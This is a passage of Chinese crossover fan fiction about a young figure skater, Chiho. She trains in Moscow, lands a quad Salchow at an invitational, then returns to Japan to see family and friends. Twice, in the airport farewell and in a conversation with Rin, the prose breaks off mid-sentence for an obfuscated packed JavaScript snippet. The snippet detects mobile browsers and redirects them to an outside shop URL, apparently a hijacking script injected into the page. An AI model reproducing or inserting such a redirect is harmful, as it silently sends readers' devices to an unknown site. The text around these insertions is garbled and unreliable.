回到值机柜台的时候,洁世一正和糸师凛进行着某种小学生之间的“眼神交流”——谁也不说话,但谁也不移开视线。 千穗走过去,一手一个,把两个人的脑袋都揉了一遍。 “干嘛!”凛挣扎。 “姐姐!”世一抗议。 “好了好了,”千穗收回手,“你们俩,好好告别。” 凛抿了抿嘴,看着世一。 世一也看着他。 沉默三秒。 “我会踢进很多球的。”凛说。 “我也会。”世一说。 “我哥会成为世界第一。” “我姐会成为奥运冠军。” “……” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326684|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 两个人对视一眼,然后同时移开视线。 千穗在旁边看得直乐。 旁边,糸师妈妈走过来,笑着和洁妈妈说了几句什么,然后低头看着千穗。 “千穗也要去俄罗斯了吧?” “嗯,一会儿的飞机。” “冴那孩子,话少,但心里是记着的。”糸师妈妈笑了笑,“你发的消息他都看,有时候还会跟我们说‘千穗又拿冠军了’。” 千穗愣了一下。 “……他说这个?” “说的不多,但说过。” 千穗没说话。 . 又过了一会儿,糸师一家先离开了。 凛走的时候,回头看了好几眼,也不知道是在看世一还是在看千穗。 千穗朝他挥挥手。 他抿着嘴,也挥了挥手,然后转身跟上妈妈。 . 洁千穗回到自己的值机柜台时,一起出发的队伍里已经到齐了,大家基本各干各的。 ……就是有两位看着有点奇怪。 维克托·尼基福罗夫正靠在行李箱上,银灰色的头发在日光灯下泛着柔和的光,手里拿着一杯便利店买的咖啡,表情惬意得不像是在机场,倒像是在某个度假胜地的咖啡厅。 而他旁边,雷奥尼多·索罗金正用一种微妙的眼神看着她。 非常微妙。 千穗脚步顿了一下。 “Chiho——!” 维克托看见她立刻抬起手挥了挥,脸上带着那种标志性的、让人分不清是真心还是营业的笑容。 “送完朋友了?” “送完了。” 千穗走过去,站在他们旁边。 维克托的目光越过她,落向安检通道的方向——虽然那里早就没了糸师冴的影子。 “刚才那个,”他说,“小豆色头发的男孩?” 千穗点头。 “男朋友?” “……不是。” 维克托眨了眨眼,笑容深了一点。 “是吗。” 那个“吗”字拖得很长。 千穗面无表情地看着他。 旁边,雷奥尼多发出一声很轻的笑。 “维克托,”编舞大师慢悠悠地开口,“你吓到她了。” “我没有吓她。”维克托无辜地摊手,“我只是好奇。毕竟能让小千穗专门送到安检口的朋友,应该不是普通朋友吧?” “是普通朋友。”千穗叹气,因为她发现旁边的雅科夫、米拉、格奥尔基、甚至尤里都一副竖起耳朵听的样子。 她心想果然八卦是人类的天性,花滑天才也不例外。 “原来是这样吗~”维克托倒也没继续问,只是笑容越发微妙。 雷奥尼多在旁边用一种“我是专业的我看得很清楚”的语气补充道: “而且那个男孩走之前回头看了你一眼。不是随便看一眼的那种回头,是‘我想再看一眼’的那种回头。” 千穗:“…………” 你们两个,不去当狗仔队真是可惜了。 “所以,”维克托凑近一点,眼睛里闪着八卦的光芒,“真的不是男朋友?” “真的不是,我才14。” “那就是未来的男朋友?” “……” 千穗深吸一口气。 “维克托师兄,”她露出一个非常标准的营业式微笑,“您的行李托运了吗?” “托了。” 睁眼说瞎话,行李还在这儿呢。 “那您喝咖啡吧。” “我不渴。” “那您闭嘴吧。” 维克托愣了一下,然后笑得更大声了。 . 值机柜台的广播响起,提醒前往莫斯科的乘客可以开始办理托运了。 教练雅科夫带头先行。 北野宁宁帮千穗拉着行李箱,千穗自己在后面走出两步,又停下来,回头看着那两个还在笑的家伙。 “你们,”她说,“再笑我就不给你们我带回来的保加利亚特产了。” 维克托立刻收敛笑容,换上一副“我很严肃”的表情。 “特产?什么特产?” “玫瑰糖。” “我喜欢玫瑰糖。” “那就别笑了。” 维克托乖乖闭嘴,但实际上却是一副逗小孩的表情。 雷奥尼多轻笑一声,推着行李箱跟上来。 . 办理完托运,三个人一起往安检通道走。 走到入口处,千穗回头看了一眼出发大厅的方向。 人来人往,已经看不到糸师一家的身影了。 她收回视线。 手机在口袋里震了一下。 是世一发的消息。 【小草:姐姐,我和爸爸妈妈回家了。你到了俄罗斯要给我发消息!】 【小草:还有,刚才冴哥走的时候,凛一直在看他,但是他没回头。】 【小草:我觉得凛有点难过。】 千穗看着这条消息,轻轻笑了一下。 【Chiho:知道了。帮我告诉凛,冴不回头是因为他知道还会再见的。】 发送。 她把手机收进口袋,跟着大部队走进安检通道。 莫斯科。 两个月。 新的训练,新的挑战。 还有—— 她想起糸师冴说的那句“等你拿了奥运金牌,我也来看”。 嗯。 等着吧。 7. 4S 来到外训目的地,先检测各种指标—— 姓名:洁千穗 年龄:14岁 身高:156 cm 体重:42.5 kg 腿长:73 cm 腰围:58cm 臀围:82 cm 胸围:77 cm BMI:17.5 体脂率:20% “……完美。” 主教练雅科夫·费尔茨曼把自己的前妻莉莉娅·巴拉诺夫斯卡娃、这位波修瓦芭蕾舞团的前首席请来教千穗和尤里芭蕾。 她看完两人的数据第一反应是这个。 同在生长期的两人保持着对运动员来说完美且较健康的身体素质。 但她又补充道: “你们可以适当增重。” 旁边的雅科夫附和:“不要怕发育关,正常饮食就行。” “哦。”/“嗯” 尤里和千穗点了点头。 这句话近两年来他们可以说是听了无数遍。 千穗不知道尤里是怎么想的,反正她自己是根据白鸦的实时数据和塑形方案来的,而且她本身就属于不容易胖的体质。 后面莉莉娅出于职业习惯又开始检查他们的足弓。 “你们就应该学芭蕾的!” 一脸恨铁不成钢的表情。 “咳咳。”雅科夫在旁边咳嗽两声,示意他还在。 后面就正常开始上一些芭蕾课程了。 千穗和尤里在此之前为了形体当然也上过一些相关课程,千穗自己还为了节目美感探戈、拉丁都有涉猎。 莉莉娅对他们两个学生称得上是挺满意的。 她也很惊讶,雅科夫居然会带外国人。 不过在听说是那位退役前一度压着维克多的夜鹰纯还有天才编舞师雷奥尼多推荐后,她就露出了几分了然。 而对于千穗来说,这次两个月的外训说长不长,说短不短。 最不适应的,大概就是高峰教练不在了。 他主动辞去了教练的职位,认为千穗和夜鹰纯一样,大概也是不需要他了。 千穗尊重并理解。 高峰匠教练本来就更擅长培养冰舞选手,而且这几年他回到名古屋就要遇见命中注定的学生明浦路司了。 千穗成长到这个阶段,也确实理解了叶英纯当初频繁更换俱乐部的决定——不同的是,对比夜鹰纯和其他花滑选手,她已经够幸运了。 甚至可以说是心想事成。 教练离开,有点难过,但更多是希望高峰教练在未来能解开心结。 . 两个月里千穗还和尤里等人参加了邀请赛。 对此尤里的师姐米拉又是恼火自己没拿第一、又是斗志昂扬。 邀请赛在莫斯科近郊的一个小城市举办,规模不大,但来的都是熟人——俄罗斯国内几大俱乐部的新生代,加上几个恰好在莫斯科外训的外国选手。 洁千穗站在冰场边,听着雅科夫最后的技术叮嘱,目光却不自觉地飘向不远处正在压腿的尤里·普利赛提。 金色的头发在冰场的灯光下几乎反光,那张属于少年俄男赏味期精致的脸上写满了“别烦我”三个大字。 ——然后他在压腿的间隙,朝她这边瞥了一眼。 眼神里带着点挑衅。 千穗知道那是什么意思。 去年,尤里十三岁,在大奖赛青年组的总决赛上,不顾雅科夫的告诫,硬是跳出了四周跳——后内结环四周,4S。 落冰成功。 全场哗然。 雅科夫在场边脸色难看,赛后把他骂了整整一个小时。 但骂归骂,那一跳的录像被花滑论坛反复分析,网上视频标题写着“十三岁四周跳,下一个维克托?” 而尤里本人对此的回应是:下一个维克托?我将超越他,并且超越那个夜鹰纯。 千穗当时也在保加利亚比赛,女单男单时间错开,得以亲眼看见。 4S。 起跳高度、空中转速、落冰的稳定性——都不算完美,但确确实实是四周跳。 十三岁。 而现在,她十四岁了。 . 【你想跳吗?】 白鸦的声音忽然在脑海里响起。 千穗没回答。 她当然想跳。 四周跳是女单的未来。她上辈子看花滑的时候,女单四周跳还是稀有物种,俄罗斯套娃横空出世后才开始普及。但这个世界——因为那些综漫的底层代码,因为《金牌得主》里人均3A的设定,因为维克托、尤里这些人的存在——技术的迭代比她记忆中的那个世界快得多。 即使现在女单只有莱莉在正式赛稳定跳出了4周,千穗也清楚,四周跳这种东西,越早掌握越好。 可是—— 她就在发育期,体重增加、重心变化,更难受的是半夜的生长痛。 为此雅科夫不止一次警告过她。 “不要学尤里。”老头子的语气严厉得吓人,“他是他,你是你。他有他的身体条件,你有你的。四周跳不是谁都能跳的,贸然尝试只会受伤。” 千穗当时点头说知道了。 但她心里想的是:去年她练习的时候,其实试过4T。 后外点冰四周。 成功率低得可怜,十次里能成一次就算运气好。落冰总是歪,轴心总是偏,有一次摔得狠了,膝盖疼了三天。 为此高峰教练难得骂了她。 但她就是想尝试。 最后雅科夫看她在训练时对照尤里练4S也是很无奈,尤其是俩人卷得米拉和格奥尔基“七窍生烟”。 旁边的大师兄维克托还在拱火。 当然,她想跳的还有一个原因,是少年气性上来、尤里和她打赌,比4S。 这个雅科夫和其他人不知道。 不过白鸦肯定知道。 【我知道。】白鸦的声音听起来有点无奈,【你每次练的时候,我都替你捏把汗】 [那你倒是劝我啊] 【我劝了,你听吗?】 [……不听] 【那不就结了】 千穗在心里默默翻了个白眼。 . “千穗。” 雅科夫的声音把她拉回现实。 “热身做完了就准备上场。你今天短节目的重点是3A,别想别的。” 千穗点点头。 毕竟她知道未来很长一段时间女单短节目会禁四周跳,虽然现在大家还没突破到四周时期。 “还有你——”老爷子转向尤里,声音提高了八度,“你要是敢在邀请赛上跳4S,我就把你扔回莫斯科!” 尤里面无表情地瞥了他一眼,什么都没说。 但千穗看见他嘴角动了动。 那种“你管不着我”的微表情。 ……行吧。 . 短节目结束的时候,千穗和尤里分别是女单男单第一。 第二是他们的师姐师兄。 而超模的大师兄维克托当然不再,他修养好应邀去瑞士比赛了。 尤里的短节目没有跳四周——大概是真的怕被扔回莫斯科——但其他动作完成得无可挑剔,3A的高度比她高了至少十公分,落冰稳得像钉子钉在冰面上。 【女单和男单比是否哪里不对?】白鸦忍不住吐槽。 [你别管,反正大家还没发育完全] 【行,你是宿主你最大……但还是要量力而行啊】它最后劝解。 [我有数] . 自由滑那天,冰场的气氛微妙地紧张起来。 原因无他——热身的时候,尤里在众目睽睽之下,跳了一个4S。 不是全力跳,只是试试脚感,但那个高度、那个转速、那个落冰的干脆利落——在场的所有人都看见了。 雅科夫在场边脸色无奈。 尤里滑过他面前的时候,表情略心虚,就是不看他。 没到比赛时间的千穗也在场外围观,默默收回了视线。 因为人少,男女单先后比赛很快就结束了。 也就是她就快上场了。 . 轮到女单练习结束、上场了。 千穗不太走运的抽到第1个。 她低头看着脚下的冰面。 冰刀切过的痕迹纵横交错,像一张网。 然后她抬起头,滑向冰场中央。 ——音乐响起。 她的自由滑曲目是《艺伎回忆录》的组曲,这个赛季用了很多次,熟悉到闭着眼睛都能滑下来。 第一个跳跃是3A。 阿克塞尔三周半——她目前的招牌动作。 起跳、腾空、旋转、落冰—— 冰刀切进冰面的瞬间,她能感觉到身体的状态很好。膝盖的弹性还在,呼吸的节奏还没乱,肌肉的温度刚刚好。 完成。 接着第二个是3Lz+3T连跳。 完成。 然后是3F。 完成。 接着是2A、FCCoSp跳接换足燕式旋转、紧接着3Lz+2T+2Lo连跳。 起跳—— 腾空—— 旋转—— 落冰—— 完成。 观众席传来掌声。 但千穗没停下来听。 她在想一件事。 音乐还在继续,下一个技术动作是——3S。 后内结环三周。 她可以做三周。 也可以做—— 四周。 脑子里那个声音响起来的时候,千穗的脚已经动了。 不是为了3S的起跳。 是为了4S的。 左后内刃切入冰面,膝盖蓄力,摆臂—— 腾空的那一瞬间,她听见雅科夫在场边喊了什么,但听不清。 世界变成一片模糊的光影。 一圈。 两圈。 三圈。 四圈—— 身体开始下落。 冰面在视野里迅速放大。 右后外刃—— 切入—— . 冰刀切进冰面的声音,清脆得像玻璃碎裂。 千穗的膝盖弯到最深,滑出弧线的手臂展开,身体晃了一下—— 但没倒。 稳住了。 她站在冰面上,维持着落冰的姿势,脑子里一片空白。 刚才发生了什么? 她跳了4S? 她跳成了4S? 音乐还在继续。她还有动作没完成。联合旋转、步法、最后的编排—— 身体先于意识动了起来。 . 接下来的两分钟,洁千穗不知道自己是怎么滑完的。 她只记得每一个动作都完成了,联合旋转转得比平时还快一点,步法的节奏卡得刚刚好,最后的结束 pose 定格在音乐最后一个音落下的瞬间。 然后她站在冰面中央,大口喘气,汗从额角滑下来,滴在冰面上。 观众席安静了一秒。 然后—— 掌声。 比之前任何一次都响亮的掌声。 有人在喊她的名字,有人在尖叫,有人站起来鼓掌。 千穗愣愣地看着观众席,脑子还没完全转过来。 刚才那个4S—— 是真的吗? . 滑向出口的时候,她看见雅科夫站在挡板边。 老爷子的脸色非常复杂。 铁青里透着一点红,像是想发火 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千穗一愣。 他怎么知道的? 【Chiho:你怎么知道?】 【Yuri:米拉说的。她说去年大奖赛结束,看到过你在福冈的冰场练跳四周,摔得很惨。】 千穗想了想,去年她确实是在福冈的冰场练过,没想到居然恰巧被米拉看见了。 【Chiho:嗯,练过。但没成。今天这个是第一次成。】 【Yuri:……】 【Yuri:不是之前练过的4T,而是4S、而且第1次成就在场上?】 【Chiho:只是邀请赛】 对面又沉默了。 这次沉默的时间比上次更长。 长到千穗以为他不会再回复了。 然后手机又震了。 【Yuri:……你赢了,比我第一次落冰要好】 【Yuri:下次请你吃我爷爷做的皮罗什基面包】 千穗盯着那条消息,愣了两秒。 然后笑出了声。 这人。 真的是。 . 晚上回到住处,千穗躺在床上,翻着手机。 消息很多。 世一的:【姐姐今天比赛怎么样?我看到网上的视频了!那个4S好厉害!!!】 现在网络是真发达了。 迹部的:【4S首跳成功,恭喜。需要赞助的话随时联系。】 然后是幸村、孤爪、忍足、藤原愁、赤司、及川…… 还有—— 糸师冴的。 【Sae:4S?】 只有两个字。 但千穗盯着那两个字看了很久。 已知他嘴里“还不错”=“很好”。 那现在这个“4S?”是什么意思呢? 惊讶? 质疑? 还是—— 她想了想,打字回复: 【Chiho:嗯,跳成了】 【Sae:哦】 【Sae:疼吗?】 千穗愣了一下。 疼吗? 她回想了一下落冰时的感觉——膝盖确实有点酸,但不算疼。比起去年练4T时摔的那几次,今天这次简直可以称得上“温柔”。 【Chiho:不疼】 【Sae:哦】 【Sae:下次别摔】 千穗盯着那四个字,忽然笑了。 下次别摔。 意思是,这次没摔,很好。 下次也别摔。 这人。 表达关心的方式还真是——独特。 【Chiho:知道了】 【Sae:嗯】 【Chiho:你那边呢?训练怎么样?】 【Sae:还行】 【Chiho:西班牙语学得怎么样了?】 【Sae:还行】 【Chiho:……你就不能说点别的吗?】 【Sae:说什么?】 千穗想了想。 【Chiho:说你想家了?想凛了?或者想我了】 发出去的瞬间她就后悔了。 没话找话的尬聊也没这么无趣吧?! 她刚想撤回,对面已经回复了。 【Sae:……】 【Sae:你喝了?】 千穗:“……” 【Chiho:什么都没喝】 【Sae:哦】 【Sae:那早点睡】 【Sae:晚安】 千穗盯着屏幕,愣了两秒。 晚安? 这人会说晚安? 她认识他七年,从没见他发过“晚安”这两个字。 最多就是“嗯”、“哦”、“挂了”。 今天这是—— 太阳从西边出来了? 她正想着,手机又震了一下。 【Sae:对了。】 【Sae:4S,还不错。】 千穗看着那行字,嘴角不自觉地翘起来。 还不错。 很好。 她把手机放在枕头边,盯着天花板,忽然觉得有点困。 窗外的莫斯科夜色很深,远处有零星的灯光。 她闭上眼睛。 晚安。 8. 日常 洁千穗头一次意识到自己是真的火出圈了、白鸦所说的“现象级”没有骗人。 ——她跳4S的录像视频放出来后,传播是真广啊。 现在暂代教练位的原助教蜻堂绯纱子拿着经纪人北野宁宁整理的数据,给千穗看。 国际范围SNS“#Chihofam”出现频率更高,单纯日媒的话是“千之羽Chinowa”,粉丝还自称“穂苗”……当千穗看到中媒那边“七七”(chi谐音)甚至“千岁爷”的词条时,她确定了自己的热度大概不是买量造就的。 在机场被人认出来,也不是什么惊讶的事了…… 千穗听话地把经纪人准备的口罩戴上,希望到成田机场时没人认出她。 . 最后是迹部大爷大手一挥给安排的VIP通道。 经纪人推着行李车走在前面,千穗戴着口罩跟着出来,一眼就看见了机场门口中举着应援扇的身影。 那应援扇是手工做的,圆形的扇面上歪歪扭扭写着“欢迎回来”四个大字,旁边还画了一只白色的乌鸦——画工还是熟悉的风味,一看就是洁世一的手笔。 而举着扇子的人,正是她亲爱的弟弟。 洁世一穿着初中的校服,看样子是刚放学就来了。他头发比两个月前长了一点,眼睛亮晶晶的,一看见她就使劲挥手。 “姐姐——!” 他旁边站着洁父洁母,也是笑着朝她挥手。 千穗快步走过去,刚走近就被世一抱了个满怀。 “姐姐!” “嗯嗯,回来了回来了。”千穗笑着揉他的脑袋,“两个月不见,怎么感觉你又长高了?” “我长高了3厘米!”世一松开她,高兴地比划,“已经追上姐姐了!” 千穗上下打量他一眼——确实,他们现在站一起刚好能平视。 “……你吃什么长的?” “妈妈做的饭!” 旁边的洁母笑着接过话:“可不是嘛,世一现在吃的可多了。” 洁父和经纪人寒暄后接过千穗的行李车,又仔细看了看女儿的脸色:“瘦了?俄罗斯吃得惯吗?” “还行,雅科夫教练家阿姨做的罗宋汤挺好喝的。” 一家人边聊边往停车场走。 经纪人北野宁宁和后面出来的蜻堂助教知道自己现阶段的工作结束了,和千穗拜拜手就各自离开了。 . 回到家,千穗第一件事就是把自己扔在床上。 两个月没睡自己的床,感觉格外亲切。 她盯着天花板,发呆了三秒,然后爬起来,从行李箱里翻出一个笔记本。 上面密密麻麻写着回国后的待办事项: 1. 把俄罗斯带回来的手办礼整理好 2. 去学校考试(是的,她还得考试) 3. 给朋友们送礼物 4. 和世一去神奈川看凛 5. 给冴发消息告诉自己回来了(虽然她也不知道为什么自己要单独列出这条) 她拿起笔,在第一条前面打了个勾。 . 第二天,洁千穗出现在了埼玉县立中学的考场里。 考场里的其他考生看见她的时候,表情都很微妙。 有人小声交头接耳: “那个是洁千穗吗?” “花滑的那个?” “她怎么在这儿?” “好像是回来考试的……” “她原来是我们学校的吗?!” 千穗面不改色地走进考场,找到自己的座位坐下。 监考老师看了她一眼,表情也有点微妙。 但什么都没说。 考试开始。 . 三天后,成绩公布。 洁千穗,年级第一。 班主任把成绩单递给她的時候,表情复杂得像是看见了外星人。 “洁同学……你真的有在认真训练吗?” “有啊。”千穗理所当然地点头,“但考试也不能落下嘛。” 班主任沉默了两秒。 “……你以后打算考哪所大学?” “还没想好。”千穗笑了笑,“先把奥运金牌拿了再说。” 班主任:“……” 行吧。 . 回家的路上,千穗收到了世一的消息。 【小草:姐姐!!!你又是第一!!!】 【Chiho:嗯,怎么了?】 【小草:大家都说你不仅学习好,花滑也那么厉害!好多人过来问我“是不是千穗的弟弟”】 千穗挑眉。 【Chiho:辛苦你了……你被围观了吗?有没有因此感到困扰吗?】 【小草:不辛苦!姐姐超厉害我也高兴!大家也只是过来问问题】 【Chiho:嗯嗯,我们小草真棒!】 【小草:嘿嘿】 他又发了个害羞的emoji,千穗笑了一下。 【小草:对了,我们是不是要去神奈川看凛?明天还是后天?】 千穗看了看日历。 【Chiho:后天吧,周末我们都有时间】 【小草:好!刚好凛说他们学校有场训练赛,我们可以去训练场找他】 哎呀,看来弟弟组关系依旧还不错。 . 晚饭时间,洁家餐桌。 “所以后天要去神奈川?”洁母一边给千穗夹菜一边问。 “嗯,去看凛。”千穗咬了一口炸虾,“顺便把俄罗斯带回来的礼物给他。” “那冴呢?”洁父问,“他不在日本吧?” “不在,还在西班牙。”千穗顿了顿,“不过礼物也准备了,回头寄过去。” “和我的礼物一样吗?”世一好奇道。 千穗送了他一套浅蓝色俄罗斯套娃和法贝热彩蛋,还有一只蓝色小猫玩偶。 “嗯,不太一样,我给凛准备了阿廖卡巧克力和红肠,还有一些其他的小零食。”千穗回忆了一下。 “怎么都是吃的啊。”他奇怪道。 “送吃的最方便啦~” 其实是因为凛是大馋小子。 … 神奈川的周末阳光很好。 洁千穗和洁世一站在糸师凛所在的足球训练场外,隔着铁丝网往里看。 场上的少年们正在分组对抗。 糸师凛很好认——虽然那头墨绿色的头发在一群五彩斑斓的发色中并不算突出,但他踢球的方式格外显眼。 拿球、过人、射门—— 动作流畅得像水银泻地。 世一站在千穗旁边,目不转睛地看着。 “凛的球踢得真好。”他说,语气里带着点不服气,但更多的是认真。 千穗看了他一眼。 “你也不差。”她了解过了,世一现在在埼玉县初中这边踢球也是小有名气。 “我知道。”世一点点头,“但我还要更强。” 千穗没说话,只是揉了揉他的脑袋。 她知道这两人未来会当很长一段时间的对手兼队友。 世一默默低头,让千穗揉他的脑袋不用那么费劲抬手。 . 训练赛结束的哨声响起,糸师凛这一组赢了。 凛从场上下来,一边用毛巾擦汗一边往场边走。走到一半,他忽然停住脚步,转头看向铁丝网的方向。 然后愣住了。 洁世一使劲挥手。 凛的表情从愣住变成“怎么又是你们”,但脚下已经快步走了过来。 “……你们怎么来了?” “来看你啊!”洁世一理所当然地说,并举了举自己手中的袋子,“我姐从俄罗斯回来了,带了礼物,顺便来看你训练!” 凛看看那个袋子,又看看千穗,表情有点别扭。 “谢谢……千穗姐。” “嗯,凛长高了。” 千穗笑着伸出手,想揉他的头—— 但由于身高差和对方看着汗滋滋的头发,最终改为拍拍他的肩。 凛没躲,甚至伸手接过了洁世一递来的袋子。 “你哥有消息吗?”千穗顺势问。 凛的表情更别扭了。 “……有。他昨天发了消息,说训练还行,问你是不是回来了,然后就和爸妈聊了会儿。” 千穗眨了眨眼。 “居然还问了我的事?”她有点意外,“他没有和你聊吗?” 凛沉默了一秒。 “……问了。”他说,声音低下去,“问我训练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326686|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样,要不要西班牙特产。” 顿了顿,又补充: “跟爸妈聊得更久。” 千穗看着他那张努力维持面无表情的脸,忽然有点想笑。 这孩子,明明郁闷哥哥没怎么和他说话,又要表现出一副不在意的样子。 “那你想要什么?”她问。 “什么?” “西班牙特产啊。”千穗笑眯眯道,“回头我帮你催你哥,让他寄回来。他要是敢不寄,我就打电话说他。” 凛愣了一下,然后别过脸去。 “……随便。” 千穗和世一对视一眼,都憋着笑。 . 三个人在凛换好衣服后,找了附近一家拉面馆。 千穗请客。 凛坐在靠窗的位置,面前摆着那袋礼物,犹豫了一下,还是拆开了。 先拿出来的是阿廖卡巧克力——俄罗斯最有名的牌子,包装上印着那个胖乎乎的婴儿头像。 凛盯着那个婴儿看了两秒,表情微妙。 “这个……能吃吗?” “能啊。”千穗理所当然地点头,“虽然包装奇怪了点,但味道不错。” 凛将信将疑地把巧克力放到一边,继续翻。 红肠。真空包装的,闻起来很香。 几包俄罗斯糖果,花花绿绿的包装纸。 还有一小罐鱼子酱——千穗特意挑的,虽然不知道凛喜不喜欢吃。 然后是最底下。 凛的动作停住了。 他从袋子里拿出一个毛绒玩具—— 是一只小猫。 墨绿色的。 巴掌大小,毛茸茸的,眼睛圆溜溜,爪子上系着一条银色的小铃铛。 凛:“……” 洁世一凑过来看,“姐姐送了我只蓝色的小猫。” “给冴的是粉色的。”千穗在一旁补充。 “……所以为什么是猫啊?”凛吐槽。 “我喜欢啊。”千穗理直气壮。 . 面端上来的时候,三个人终于安静下来吃面。 千穗夹起一筷子拉面,刚送进嘴里,就听见凛闷闷的声音: “……谢谢。” 她抬头。 凛低着头吃面,耳尖有点红。 千穗笑了笑。 “不客气。” . 吃完饭,三个人在拉面馆门口分别。 凛抱着那袋礼物,那只墨绿色的小猫被他塞进了外套口袋里,只露出一个毛茸茸的脑袋。 “路上小心。”他说。 “嗯,你也是。”千穗挥挥手,“下次再来找你玩。” “哦。” 凛点点头,又看向洁世一。 “你现在足球踢得不错?下次比一场,肯定是我赢。” 世一愣了下,但很快不甘示弱道:“谁输谁赢还不一定呢!” 两人对视一眼,又很快挪开视线。 千穗在一旁看得直乐。 . 回家的电车上,世一靠着窗户睡着了。 千穗坐在他旁边,看着窗外飞速后退的夜景,掏出手机。 消息列表里躺着一小时前收到的那条。 【Sae:去看凛了?】 她当时在吃面,没来得及回。 现在打字: 【Chiho:嗯,刚吃完拉面回来】 【Chiho:礼物给他了,他看着还挺喜欢的】 【Chiho:不过嘴上没说】 发完,她盯着屏幕等了一会儿。 对面正在输入中。 然后—— 【Sae:下次带我去】 千穗看着那五个字,愣了一秒。 下次带他去? 去……吃拉面? 她想了想,打字确认: 【Chiho:你是说,下次一起吃拉面?】 【Sae:嗯】 【Chiho:那家确实挺好吃的,下次你回来,我带你去】 【Sae:嗯】 千穗盯着那个“嗯”,总觉得哪里怪怪的。 但具体哪里怪,她又说不上来。 算了。 这人说话一向难懂。 9. 服气 两个月外训结束,但雅科夫和洁千穗又签了一份合同。 不出意外,在她能参加世锦赛前、每年都会抽时间去俄罗斯长训。 而且他们大奖赛还能碰见。 今年的青年大奖赛,千穗预计参加9月10日—14日的名古屋站比赛和10月1日—5日的德雷斯顿站比赛,然后和尤里他们一起待在欧洲和其他外国选手一起训练或看看维克托他们成年组的比赛。 最后到12月份去西班牙巴塞罗那参加总决赛。 实际情况和她期望的一样,她在埼玉待了三个月陪家人。 期间,她甚至还在迹部专门建的冰场看见尚未成为狼崎光教练的夜鹰纯。 (迹部少爷成为花滑粉后拉着不少熟人入坑了,千穗就是这么认识赤司的,就是没想到这个世界赤司比迹部年纪小) 在听说夜鹰纯现在每个月获得一笔来自迹部家俱乐部(也就是荒川Glow俱乐部)的资金并且有专门的冰场可以全天候给他用,她陷入沉思。 [完全是迹部的钞能力啊!] ……虽然不知道什么叫“作为他提供人脉和偶尔指导(存疑)的回报”,但光看夜鹰纯自己滑、自己训练,展示技术,她也是赚到了。 [狼崎光限时体验卡] 【我梦境空间生成的、你的一比一复制体用来展示技术不比他厉害?】白鸦微妙不爽。 [哎呀呀,你那种太理想化了,现实和绝对理想状态当然有区别……而且我更欣赏的是夜鹰纯的风格] 千穗稍微安慰了一下系统,然后转移话题: [对了,距离夜鹰纯遇见狼崎光还有多久?] 【我看看……明年冬天吧,她现在4岁刚被狼崎家收养】 千穗若有所思。 感觉到时候还要她推动下,不然狼崎家不一定找得到被迹部招揽的夜鹰纯。 . 九月的名古屋还残留着夏末的暑气。 洁千穗走出地铁站的时候,手机屏幕亮着夜鹰纯的定位——她为了防止找不到这人走失、在经过同意后开通了两人的手机定位共享(虽然他经常摔手机,)。 现在,她盯着那个小红点看了两秒,又抬头看看车站前广场上乌泱泱的人群,果断选择了放弃思考。 发短信给他,也不回。 千穗使出了最后手段—— [白鸦,夜鹰纯在哪儿?] 【对面便利店门口】 千穗抬起头,穿过斑马线,果然看见便利店门口的阴影里杵着一个人。 经典黑色大衣,戴着不明觉厉的墨镜。 他靠在外卖取餐的台子边上,手上拿着瓶水,整个人散发着“生人勿近”的气场。 ——但路过的便利店店员显然不这么认为。 “先生,您站在这里会影响取餐的客人——” 夜鹰纯侧头看了她一眼。 店员的声音卡在嗓子里,顿了两秒,默默绕开他走了。 千穗:“……” 她走过去,在他面前站定。 “等很久了?” “没。” “怎么不进去坐着等?” 他瞥了千穗一眼没说话 ……行吧。 千穗看着他,忽然有点恍惚。 上一次见面还是在埼玉的冰场,他一个人滑,千穗看见就跟着滑。两人一整个下午都没什么沟通,经纪人却差点以为她要转双人滑了。 这次约他一起来名古屋,本来只是随口一提——反正鴗鸟慎一郎是他朋友,一起去看也算顺路。 没想到他真的答应了。 “走了。”夜鹰纯把看着只喝了一两口的水放垃圾桶边上,抬脚往前走。 千穗嘴角抽了抽,帮他收起被浪费的水立刻跟上。 走出去两步,她忽然意识到一个问题—— “你认识路吗?” 夜鹰纯脚步顿了一下。 就一下。 千穗懂了。 她叹了口气,打开手机导航,走到他前面。 “跟着我。” . 名港Wind俱乐部在名古屋港区,从车站坐电车过去大概二十分钟。 电车上人不算多,千穗和夜鹰纯找了个靠窗的位置坐下。她戴着口罩,侧头看窗外飞速后退的街景,余光瞥见旁边的人正在发呆——是真的发呆,眼睛看着前方空无一物的地方,表情放空得像一尊雕塑。 ……带着夜鹰纯的这一天她真的要幻视自己是狸花猫饲主了。 这个大师姐之位她就谢绝了,希望狼崎同学快点接受这人吧。 . 名港Wind俱乐部看着还挺不错的,装修挺新的。 但夜鹰纯根本没跟鴗鸟慎一郎说他今天要来,千穗看过了、他俩的通讯记录都还在上个月。 按岛国国情这不应该是非常失礼的行为吗?! 千穗忍不住叹气,“你不觉得这样很失礼嘛?” 他那副墨镜已经摘下,人就这么沉默地盯着门口的招牌,对于千穗的话可以说是无视的态度。 千穗:…… 她宣布糸师冴比这个人社会化程度高多了! 明明年轻时人还不错啊!现在是终于变成糟糕的大人了吗?! 她认命地从夜鹰纯手机里找到鴗鸟慎一郎的电话,然后拨通。 “叮铃铃——叮铃铃——” 电话响了两声才被接起。 “喂?” 